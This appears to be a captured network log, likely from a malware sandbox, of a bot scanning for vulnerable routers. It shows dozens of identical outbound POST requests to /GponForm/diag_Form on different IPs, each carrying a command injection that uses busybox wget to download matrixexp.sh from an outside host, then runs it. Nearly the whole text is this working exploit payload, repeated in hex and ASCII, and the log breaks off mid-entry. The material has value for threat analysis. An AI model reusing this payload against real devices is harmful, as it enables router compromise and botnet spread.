Mar 2, 2024 12:37:28.968385935 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.23	42122	94.121.58.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968389988 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.23	38032	5.112.144.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968404055 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.23	51316	109.164.84.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968408108 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.23	60252	5.209.211.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968471050 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.23	34578	79.114.221.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968480110 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.23	60300	212.49.44.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968630075 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.23	36678	212.117.227.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968652964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.23	46720	212.92.114.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968674898 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.23	42634	109.167.140.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968679905 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.23	38896	42.165.211.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968683958 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.23	41504	118.82.211.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968740940 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.23	50444	94.98.197.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968746901 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.23	42668	210.245.192.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968763113 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.23	56168	94.209.184.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968832970 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.23	38486	37.131.186.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968836069 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.23	34360	42.137.102.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968858004 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.23	58652	212.202.51.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968863964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.23	49618	118.208.98.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968873024 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.23	55096	109.225.250.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968890905 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.23	52402	178.7.246.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968931913 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.23	48404	94.81.175.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968947887 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.23	49006	79.232.50.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968955040 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.23	54930	94.138.230.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968980074 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.23	54946	109.195.239.139	443

Timestamp	Bytes transferred	Direction	Data
